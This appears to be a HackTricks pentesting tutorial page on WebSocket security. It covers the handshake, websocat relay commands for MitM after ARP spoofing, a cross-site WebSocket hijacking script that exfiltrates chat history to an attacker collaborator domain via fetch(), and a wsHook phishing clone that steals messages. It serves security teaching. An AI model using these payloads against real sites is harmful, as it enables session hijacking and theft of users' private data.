Search K
Appearance
Appearance
Other ways to support HackTricks:
WebSocket connections are established through an initial HTTP handshake and are designed to be long-lived, allowing for bidirectional messaging at any time without the need for a transactional system. This makes WebSockets particularly advantageous for applications requiring low latency or server-initiated communication, such as live financial data streams.
A detailed explanation on establishing WebSocket connections can be accessed here. In summary, WebSocket connections are usually initiated via client-side JavaScript as shown below:
var ws = new WebSocket("wss://normal-website.com/ws");
The wss
protocol signifies a WebSocket connection secured with TLS, whereas ws
indicates an unsecured connection.
During the connection establishment, a handshake is performed between the browser and server over HTTP. The handshake process involves the browser sending a request and the server responding, as illustrated in the following examples:
Browser sends a handshake request:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
Server's handshake response:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
The connection remains open for message exchange in both directions once established.
Key Points of the WebSocket Handshake:
Connection
and Upgrade
headers signal the initiation of a WebSocket handshake.Sec-WebSocket-Version
header indicates the desired WebSocket protocol version, usually 13
.Sec-WebSocket-Key
header, ensuring each handshake is unique, which helps to prevent issues with caching proxies. This value is not for authentication but to confirm that the response is not generated by a misconfigured server or cache.Sec-WebSocket-Accept
header in the server's response is a hash of the Sec-WebSocket-Key
, verifying the server's intention to open a WebSocket connection.These features ensure the handshake process is secure and reliable, paving the way for efficient real-time communication.
You can use websocat
to establish a raw connection with a websocket.
websocat --insecure wss://10.10.10.10:8000 -v
Or to create a websocat server:
websocat -s 0.0.0.0:8000 #Listen in port 8000
If you find that clients are connected to a HTTP websocket from your current local network you could try an ARP Spoofing Attack to perform a MitM attack between the client and the server.
Once the client is trying to connect to you can then use:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
You can use the tool https://github.com/PalindromeLabs/STEWS to discover, fingerprint and search for known vulnerabilities in websockets automatically.
In Burp-Suite-Extender-Montoya-Course you have a code to launch a web using websockets and in this post you can find an explanation.
Cross-site WebSocket hijacking, also known as cross-origin WebSocket hijacking, is identified as a specific case of Cross-Site Request Forgery (CSRF) affecting WebSocket handshakes. This vulnerability arises when WebSocket handshakes authenticate solely via HTTP cookies without CSRF tokens or similar security measures.
Attackers can exploit this by hosting a malicious web page that initiates a cross-site WebSocket connection to a vulnerable application. Consequently, this connection is treated as part of the victim's session with the application, exploiting the lack of CSRF protection in the session handling mechanism.
Note that when establishing a websocket connection the cookie is sent to the server. The server might be using it to relate each specific user with his websocket session based on the sent cookie.
Then, if for example the websocket server sends back the history of the conversation of a user if a msg with "READY" is sent, then a simple XSS establishing the connection (the cookie will be sent automatically to authorise the victim user) sending "READY" will be able to retrieve the history of the conversation.:
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
In this blog post https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ the attacker managed to execute arbitrary Javascript in a subdomain of the domain where the web socket communication was occurring. Because it was a subdomain, the cookie was being sent, and because the Websocket didn't check the Origin properly, it was possible to communicate with it and steal tokens from it.
Copy the web application you want to impersonate (the .html files for example) and inside the script where the websocket communication is occurring add this code:
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}
Now download the wsHook.js
file from https://github.com/skepticfx/wshook and save it inside the folder with the web files.
Exposing the web application and making a user connect to it you will be able to steal the sent and received messages via websocket:
sudo python3 -m http.server 80
Race Conditions in WebSockets are also a thing, check this information to learn more.
As Web Sockets are a mechanism to send data to server side and client side, depending on how the server and client handles the information, Web Sockets can be used to exploit several other vulnerabilities like XSS, SQLi or any other common web vuln using input of s user from a websocket.
This vulnerability could allow you to bypass reverse proxies restrictions by making them believe that a websocket communication was stablished (even if it isn't true). This could allow an attacker to access hidden endpoints. For more information check the following page:
Other ways to support HackTricks: